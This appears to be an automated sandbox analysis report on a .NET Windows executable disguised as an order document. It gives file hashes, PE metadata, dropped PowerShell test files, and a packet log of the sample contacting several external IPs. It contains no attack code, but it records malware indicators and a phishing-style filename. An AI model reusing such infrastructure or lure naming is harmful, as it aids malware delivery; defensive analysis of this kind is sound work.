......

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4vu4nlwr.vnu.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ibragxpy.lej.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lxqwflws.i4u.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vkv0134n.icc.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.950153009948546
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe
File size:	990'720 bytes
MD5:	7c33fb31e0b8302eba116a02e649200b
SHA1:	b8cf4b26acf2cfb9f48ccc49a05b308425cbbd07
SHA256:	b250139ddfe1f4e0849357b17563dcd09d2dc82f69730c7e5e3797148b47ce16
SHA512:	5522c1304b859f40f747d39736cce33af44f21e42534bd95fdd16d0e58ed56dc2adeee933e2f2e02b3370b30ede5825e01ed5934abce6a87ce6cf2193b206a9c
SSDEEP:	24576:h+Z8mj85+Kz5IY/0zChxWmtydHaGaqaRdPWm:hS89l51SChgRHDaRN
TLSH:	422523225B72DB62C97957F085B5028003B2FD2A51F2DB0E5E9AB0FB5A733604952F37
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....xt...............0......f......^.... ........@.. ....................................@................................

File Icon


Icon Hash:	66666667e69c310e

Static PE Info

General

Entrypoint:	0x4ed45e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xB57478D9 [Mon Jun 21 01:26:49 2066 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xed40b	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xee000	0x6400	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xf6000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xeb6e8	0x70	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xeb464	0xeb600	cb6c31293cf9777191e31acae73fd4f3	False	0.9721282942777483	data	7.977348206861711	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xee000	0x6400	0x6400	911fec29080872002614227f4a6ee64e	False	0.395625	data	5.148123427555753	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xf6000	0xc	0x200	08484031a30739359114958f3aeec9ea	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0xee1e0	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	0.2701612903225806
RT_ICON	0xee4d8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	0.4966216216216216
RT_ICON	0xee610	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	0.5439765458422174
RT_ICON	0xef4c8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	0.6656137184115524
RT_ICON	0xefd80	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	0.5021676300578035
RT_ICON	0xf02f8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	0.3157676348547718
RT_ICON	0xf28b0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	0.4090056285178236
RT_ICON	0xf3968	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	0.5859929078014184
RT_GROUP_ICON	0xf3de0	0x76	data	0.6440677966101694
RT_VERSION	0xf3e68	0x398	OpenPGP Public Key	0.4206521739130435
RT_MANIFEST	0xf4210	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 3, 2024 17:56:35.046282053 CEST	49724	80	192.168.2.6	89.31.76.10
Jul 3, 2024 17:56:35.051382065 CEST	80	49724	89.31.76.10	192.168.2.6
Jul 3, 2024 17:56:35.051500082 CEST	49724	80	192.168.2.6	89.31.76.10
Jul 3, 2024 17:56:35.053853035 CEST	49724	80	192.168.2.6	89.31.76.10
Jul 3, 2024 17:56:35.058706045 CEST	80	49724	89.31.76.10	192.168.2.6
Jul 3, 2024 17:56:35.766567945 CEST	80	49724	89.31.76.10	192.168.2.6
Jul 3, 2024 17:56:35.766640902 CEST	80	49724	89.31.76.10	192.168.2.6
Jul 3, 2024 17:56:35.766870022 CEST	49724	80	192.168.2.6	89.31.76.10
Jul 3, 2024 17:56:35.766882896 CEST	80	49724	89.31.76.10	192.168.2.6
Jul 3, 2024 17:56:35.766944885 CEST	49724	80	192.168.2.6	89.31.76.10
Jul 3, 2024 17:56:35.770293951 CEST	49724	80	192.168.2.6	89.31.76.10
Jul 3, 2024 17:56:35.779221058 CEST	80	49724	89.31.76.10	192.168.2.6
Jul 3, 2024 17:56:51.053462982 CEST	49727	80	192.168.2.6	208.91.197.13
Jul 3, 2024 17:56:51.062081099 CEST	80	49727	208.91.197.13	192.168.2.6
Jul 3, 2024 17:56:51.062218904 CEST	49727	80	192.168.2.6	208.91.197.13
Jul 3, 2024 17:56:51.064060926 CEST	49727	80	192.168.2.6	208.91.197.13
Jul 3, 2024 17:56:51.071268082 CEST	80	49727	208.91.197.13	192.168.2.6
Jul 3, 2024 17:56:51.538891077 CEST	80	49727	208.91.197.13	192.168.2.6
Jul 3, 2024 17:56:51.539201021 CEST	49727	80	192.168.2.6	208.91.197.13
Jul 3, 2024 17:56:52.576195002 CEST	49727	80	192.168.2.6	208.91.197.13
Jul 3, 2024 17:56:52.672537088 CEST	80	49727	208.91.197.13	192.168.2.6
Jul 3, 2024 17:56:53.595237017 CEST	49728	80	192.168.2.6	208.91.197.13
Jul 3, 2024 17:56:53.601172924 CEST	80	49728	208.91.197.13	192.168.2.6
Jul 3, 2024 17:56:53.601316929 CEST	49728	80	192.168.2.6	208.91.197.13
Jul 3, 2024 17:56:53.603334904 CEST	49728	80	192.168.2.6	208.91.197.13
Jul 3, 2024 17:56:53.612381935 CEST	80	49728	208.91.197.13	192.168.2.6
Jul 3, 2024 17:56:54.065145969 CEST	80	49728	208.91.197.13	192.168.2.6
Jul 3, 2024 17:56:54.065227985 CEST	49728	80	192.168.2.6	208.91.197.13
Jul 3, 2024 17:56:55.107559919 CEST	49728	80	192.168.2.6	208.91.197.13
Jul 3, 2024 17:56:55.112576962 CEST	80	49728	208.91.197.13	192.168.2.6
Jul 3, 2024 17:56:56.126432896 CEST	49729	80	192.168.2.6	208.91.197.13
Jul 3, 2024 17:56:56.132534027 CEST	80	49729	208.91.197.13	192.168.2.6
Jul 3, 2024 17:56:56.132666111 CEST	49729	80	192.168.2.6	208.91.197.13
Jul 3, 2024 17:56:56.134558916 CEST	49729	80	192.168.2.6	208.91.197.13
Jul 3, 2024 17:56:56.139926910 CEST	80	49729	208.91.197.13	192.168.2.6
Jul 3, 2024 17:56:56.140150070 CEST	80	49729	208.91.197.13	192.168.2.6
Jul 3, 2024 17:56:56.593350887 CEST	80	49729	208.91.197.13	192.168.2.6
Jul 3, 2024 17:56:56.593574047 CEST	49729	80	192.168.2.6	208.91.197.13
Jul 3, 2024 17:56:57.638861895 CEST	49729	80	192.168.2.6	208.91.197.13
Jul 3, 2024 17:56:57.643770933 CEST	80	49729	208.91.197.13	192.168.2.6
Jul 3, 2024 17:56:58.657316923 CEST	49730	80	192.168.2.6	208.91.197.13
Jul 3, 2024 17:56:58.666297913 CEST	80	49730	208.91.197.13	192.168.2.6
Jul 3, 2024 17:56:58.666405916 CEST	49730	80	192.168.2.6	208.91.197.13
Jul 3, 2024 17:56:58.668369055 CEST	49730	80	192.168.2.6	208.91.197.13
Jul 3, 2024 17:56:58.677982092 CEST	80	49730	208.91.197.13	192.168.2.6
Jul 3, 2024 17:56:59.619030952 CEST	80	49730	208.91.197.13	192.168.2.6
Jul 3, 2024 17:56:59.619214058 CEST	80	49730	208.91.197.13	192.168.2.6
Jul 3, 2024 17:56:59.619229078 CEST	80	49730	208.91.197.13	192.168.2.6
Jul 3, 2024 17:56:59.619391918 CEST	49730	80	192.168.2.6	208.91.197.13
Jul 3, 2024 17:56:59.619788885 CEST	80	49730	208.91.197.13	192.168.2.6
Jul 3, 2024 17:56:59.619805098 CEST	80	49730	208.91.197.13	192.168.2.6
Jul 3, 2024 17:56:59.619818926 CEST	80	49730	208.91.197.13	192.168.2.6
Jul 3, 2024 17:56:59.619828939 CEST	80	49730	208.91.197.13	192.168.2.6
Jul 3, 2024 17:56:59.620003939 CEST	49730	80	192.168.2.6	208.91.197.13
Jul 3, 2024 17:56:59.620003939 CEST	49730	80	192.168.2.6	208.91.197.13
Jul 3, 2024 17:56:59.620735884 CEST	80	49730	208.91.197.13	192.168.2.6
Jul 3, 2024 17:56:59.620752096 CEST	80	49730	208.91.197.13	192.168.2.6
Jul 3, 2024 17:56:59.620763063 CEST	80	49730	208.91.197.13	192.168.2.6
Jul 3, 2024 17:56:59.620789051 CEST	49730	80	192.168.2.6	208.91.197.13
Jul 3, 2024 17:56:59.620826006 CEST	49730	80	192.168.2.6	208.91.197.13
Jul 3, 2024 17:56:59.624519110 CEST	80	49730	208.91.197.13	192.168.2.6
Jul 3, 2024 17:56:59.624655962 CEST	80	49730	208.91.197.13	192.168.2.6
Jul 3, 2024 17:56:59.624742031 CEST	49730	80	192.168.2.6	208.91.197.13
Jul 3, 2024 17:56:59.624881029 CEST	80	49730	208.91.197.13	192.168.2.6
Jul 3, 2024 17:56:59.624893904 CEST	80	49730	208.91.197.13	192.168.2.6
Jul 3, 2024 17:56:59.624933004 CEST	49730	80	192.168.2.6	208.91.197.13
Jul 3, 2024 17:56:59.724998951 CEST	80	49730	208.91.197.13	192.168.2.6
Jul 3, 2024 17:56:59.725069046 CEST	80	49730	208.91.197.13	192.168.2.6
Jul 3, 2024 17:56:59.725080967 CEST	80	49730	208.91.197.13	192.168.2.6
Jul 3, 2024 17:56:59.725126982 CEST	49730	80	192.168.2.6	208.91.197.13
Jul 3, 2024 17:56:59.725723982 CEST	80	49730	208.91.197.13	192.168.2.6
Jul 3, 2024 17:56:59.725737095 CEST	80	49730	208.91.197.13	192.168.2.6
Jul 3, 2024 17:56:59.725748062 CEST	80	49730	208.91.197.13	192.168.2.6
Jul 3, 2024 17:56:59.725841999 CEST	49730	80	192.168.2.6	208.91.197.13
Jul 3, 2024 17:56:59.725873947 CEST	49730	80	192.168.2.6	208.91.197.13
Jul 3, 2024 17:56:59.726675987 CEST	80	49730	208.91.197.13	192.168.2.6
Jul 3, 2024 17:56:59.726691008 CEST	80	49730	208.91.197.13	192.168.2.6
Jul 3, 2024 17:56:59.726701021 CEST	80	49730	208.91.197.13	192.168.2.6
Jul 3, 2024 17:56:59.726712942 CEST	80	49730	208.91.197.13	192.168.2.6
Jul 3, 2024 17:56:59.726739883 CEST	49730	80	192.168.2.6	208.91.197.13
Jul 3, 2024 17:56:59.726761103 CEST	49730	80	192.168.2.6	208.91.197.13
Jul 3, 2024 17:56:59.727813959 CEST	80	49730	208.91.197.13	192.168.2.6
Jul 3, 2024 17:56:59.727828026 CEST	80	49730	208.91.197.13	192.168.2.6
Jul 3, 2024 17:56:59.727838039 CEST	80	49730	208.91.197.13	192.168.2.6
Jul 3, 2024 17:56:59.727849007 CEST	80	49730	208.91.197.13	192.168.2.6
Jul 3, 2024 17:56:59.727931023 CEST	49730	80	192.168.2.6	208.91.197.13
Jul 3, 2024 17:56:59.728827000 CEST	80	49730	208.91.197.13	192.168.2.6
Jul 3, 2024 17:56:59.728840113 CEST	80	49730	208.91.197.13	192.168.2.6
Jul 3, 2024 17:56:59.728849888 CEST	80	49730	208.91.197.13	192.168.2.6
Jul 3, 2024 17:56:59.728863001 CEST	80	49730	208.91.197.13	192.168.2.6
Jul 3, 2024 17:56:59.728899956 CEST	49730	80	192.168.2.6	208.91.197.13
Jul 3, 2024 17:56:59.728920937 CEST	49730	80	192.168.2.6	208.91.197.13
Jul 3, 2024 17:56:59.729677916 CEST	80	49730	208.91.197.13	192.168.2.6
Jul 3, 2024 17:56:59.729691029 CEST	80	49730	208.91.197.13	192.168.2.6
Jul 3, 2024 17:56:59.729701042 CEST	80	49730	208.91.197.13	192.168.2.6
Jul 3, 2024 17:56:59.729716063 CEST	80	49730	208.91.197.13	192.168.2.6
Jul 3, 2024 17:56:59.729736090 CEST	49730	80	192.168.2.6	208.91.197.13
Jul 3, 2024 17:56:59.729772091 CEST	49730	80	192.168.2.6	208.91.197.13
Jul 3, 2024 17:56:59.734457016 CEST	49730	80	192.168.2.6	208.91.197.13
Jul 3, 2024 17:56:59.739940882 CEST	80	49730	208.91.197.13	192.168.2.6
Jul 3, 2024 17:57:04.771686077 CEST	49732	80	192.168.2.6	188.114.96.3
Jul 3, 2024 17:57:04.776622057 CEST	80	49732	188.114.96.3	192.168.2.6
Jul 3, 2024 17:57:04.776717901 CEST	49732	80	192.168.2.6	188.114.96.3
Jul 3, 2024 17:57:04.778712034 CEST	49732	80	192.168.2.6	188.114.96.3
Jul 3, 2024 17:57:04.784091949 CEST	80	49732	188.114.96.3	192.168.2.6
Jul 3, 2024 17:57:05.459671974 CEST	80	49732	188.114.96.3	192.168.2.6
Jul 3, 2024 17:57:05.459770918 CEST	80	49732	188.114.96.3	192.168.2.6
Jul 3, 2024 17:57:05.459831953 CEST	49732	80	192.168.2.6	188.114.96.3
Jul 3, 2024 17:57:05.460706949 CEST	80	49732	188.114.96.3	192.168.2.6
Jul 3, 2024 17:57:05.460762024 CEST	49732	80	192.168.2.6	188.114.96.3
Jul 3, 2024 17:57:06.294821978 CEST	49732	80	192.168.2.6	188.114.96.3
Jul 3, 2024 17:57:07.313503027 CEST	49733	80	192.168.2.6	188.114.96.3
Jul 3, 2024 17:57:07.318878889 CEST	80	49733	188.114.96.3	192.168.2.6
Jul 3, 2024 17:57:07.318996906 CEST	49733	80	192.168.2.6	188.114.96.3
Jul 3, 2024 17:57:07.320935965 CEST	49733	80	192.168.2.6	188.114.96.3
Jul 3, 2024 17:57:07.330527067 CEST	80	49733	188.114.96.3	192.168.2.6
Jul 3, 2024 17:57:08.029764891 CEST	80	49733	188.114.96.3	192.168.2.6
Jul 3, 2024 17:57:08.030229092 CEST	80	49733	188.114.96.3	192.168.2.6
Jul 3, 2024 17:57:08.030242920 CEST	80	49733	188.114.96.3	192.168.2.6
Jul 3, 2024 17:57:08.030325890 CEST	49733	80	192.168.2.6	188.114.96.3
Jul 3, 2024 17:57:08.826195002 CEST	49733	80	192.168.2.6	188.114.96.3
Jul 3, 2024 17:57:09.875799894 CEST	49734	80	192.168.2.6	188.114.96.3
Jul 3, 2024 17:57:09.880956888 CEST	80	49734	188.114.96.3	192.168.2.6
Jul 3, 2024 17:57:09.881091118 CEST	49734	80	192.168.2.6	188.114.96.3
Jul 3, 2024 17:57:09.883012056 CEST	49734	80	192.168.2.6	188.114.96.3
Jul 3, 2024 17:57:09.888204098 CEST	80	49734	188.114.96.3	192.168.2.6
Jul 3, 2024 17:57:09.890656948 CEST	80	49734	188.114.96.3	192.168.2.6
Jul 3, 2024 17:57:10.562294960 CEST	80	49734	188.114.96.3	192.168.2.6
Jul 3, 2024 17:57:10.562347889 CEST	80	49734	188.114.96.3	192.168.2.6
Jul 3, 2024 17:57:10.562408924 CEST	49734	80	192.168.2.6	188.114.96.3
Jul 3, 2024 17:57:10.563590050 CEST	80	49734	188.114.96.3	192.168.2.6
Jul 3, 2024 17:57:10.563663006 CEST	49734	80	192.168.2.6	188.114.96.3
Jul 3, 2024 17:57:11.388570070 CEST	49734	80	192.168.2.6	188.114.96.3
Jul 3, 2024 17:57:12.407744884 CEST	49735	80	192.168.2.6	188.114.96.3
Jul 3, 2024 17:57:12.412698984 CEST	80	49735	188.114.96.3	192.168.2.6
Jul 3, 2024 17:57:12.412812948 CEST	49735	80	192.168.2.6	188.114.96.3
Jul 3, 2024 17:57:12.414638996 CEST	49735	80	192.168.2.6	188.114.96.3
Jul 3, 2024 17:57:12.419589043 CEST	80	49735	188.114.96.3	192.168.2.6
Jul 3, 2024 17:57:13.148091078 CEST	80	49735	188.114.96.3	192.168.2.6
Jul 3, 2024 17:57:13.148113966 CEST	80	49735	188.114.96.3	192.168.2.6
Jul 3, 2024 17:57:13.148125887 CEST	80	49735	188.114.96.3	192.168.2.6
Jul 3, 2024 17:57:13.148443937 CEST	49735	80	192.168.2.6	188.114.96.3
Jul 3, 2024 17:57:13.151417017 CEST	80	49735	188.114.96.3	192.168.2.6
Jul 3, 2024 17:57:13.151520014 CEST	49735	80	192.168.2.6	188.114.96.3
Jul 3, 2024 17:57:13.152503014 CEST	49735	80	192.168.2.6	188.114.96.3
Jul 3, 2024 17:57:13.157644987 CEST	80	49735	188.114.96.3	192.168.2.6
Jul 3, 2024 17:57:18.684837103 CEST	49736	80	192.168.2.6	192.185.208.8
Jul 3, 2024 17:57:18.690500975 CEST	80	49736	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:18.690599918 CEST	49736	80	192.168.2.6	192.185.208.8
Jul 3, 2024 17:57:18.692681074 CEST	49736	80	192.168.2.6	192.185.208.8
Jul 3, 2024 17:57:18.700356960 CEST	80	49736	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:19.343360901 CEST	80	49736	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:19.343381882 CEST	80	49736	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:19.343391895 CEST	80	49736	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:19.343441010 CEST	49736	80	192.168.2.6	192.185.208.8
Jul 3, 2024 17:57:19.343728065 CEST	80	49736	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:19.343739986 CEST	80	49736	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:19.343750000 CEST	80	49736	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:19.343760967 CEST	80	49736	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:19.343769073 CEST	49736	80	192.168.2.6	192.185.208.8
Jul 3, 2024 17:57:19.343807936 CEST	49736	80	192.168.2.6	192.185.208.8
Jul 3, 2024 17:57:19.344332933 CEST	80	49736	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:19.344356060 CEST	80	49736	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:19.344366074 CEST	80	49736	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:19.344372034 CEST	49736	80	192.168.2.6	192.185.208.8
Jul 3, 2024 17:57:19.344398022 CEST	49736	80	192.168.2.6	192.185.208.8
Jul 3, 2024 17:57:19.348368883 CEST	80	49736	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:19.348395109 CEST	80	49736	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:19.348443985 CEST	49736	80	192.168.2.6	192.185.208.8
Jul 3, 2024 17:57:19.430016041 CEST	80	49736	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:19.433159113 CEST	80	49736	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:19.433176041 CEST	80	49736	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:19.433257103 CEST	49736	80	192.168.2.6	192.185.208.8
Jul 3, 2024 17:57:20.201354027 CEST	49736	80	192.168.2.6	192.185.208.8
Jul 3, 2024 17:57:21.220535994 CEST	49737	80	192.168.2.6	192.185.208.8
Jul 3, 2024 17:57:21.225474119 CEST	80	49737	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:21.225583076 CEST	49737	80	192.168.2.6	192.185.208.8
Jul 3, 2024 17:57:21.227663994 CEST	49737	80	192.168.2.6	192.185.208.8
Jul 3, 2024 17:57:21.232467890 CEST	80	49737	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:21.863739014 CEST	80	49737	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:21.863765001 CEST	80	49737	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:21.863780022 CEST	80	49737	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:21.863852024 CEST	49737	80	192.168.2.6	192.185.208.8
Jul 3, 2024 17:57:21.864247084 CEST	80	49737	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:21.864260912 CEST	80	49737	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:21.864275932 CEST	80	49737	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:21.864291906 CEST	49737	80	192.168.2.6	192.185.208.8
Jul 3, 2024 17:57:21.864320040 CEST	49737	80	192.168.2.6	192.185.208.8
Jul 3, 2024 17:57:21.864479065 CEST	80	49737	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:21.864504099 CEST	80	49737	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:21.864518881 CEST	80	49737	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:21.864558935 CEST	49737	80	192.168.2.6	192.185.208.8
Jul 3, 2024 17:57:21.864866972 CEST	80	49737	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:21.864912987 CEST	49737	80	192.168.2.6	192.185.208.8
Jul 3, 2024 17:57:21.869079113 CEST	80	49737	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:21.869174957 CEST	80	49737	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:21.869221926 CEST	49737	80	192.168.2.6	192.185.208.8
Jul 3, 2024 17:57:21.951986074 CEST	80	49737	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:21.952143908 CEST	80	49737	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:21.952208042 CEST	49737	80	192.168.2.6	192.185.208.8
Jul 3, 2024 17:57:21.952524900 CEST	80	49737	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:21.952588081 CEST	49737	80	192.168.2.6	192.185.208.8
Jul 3, 2024 17:57:22.732444048 CEST	49737	80	192.168.2.6	192.185.208.8
Jul 3, 2024 17:57:23.751179934 CEST	49738	80	192.168.2.6	192.185.208.8
Jul 3, 2024 17:57:23.756103992 CEST	80	49738	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:23.756211996 CEST	49738	80	192.168.2.6	192.185.208.8
Jul 3, 2024 17:57:23.757781029 CEST	49738	80	192.168.2.6	192.185.208.8
Jul 3, 2024 17:57:23.762531996 CEST	80	49738	192.185.208.8	192.168.2.6
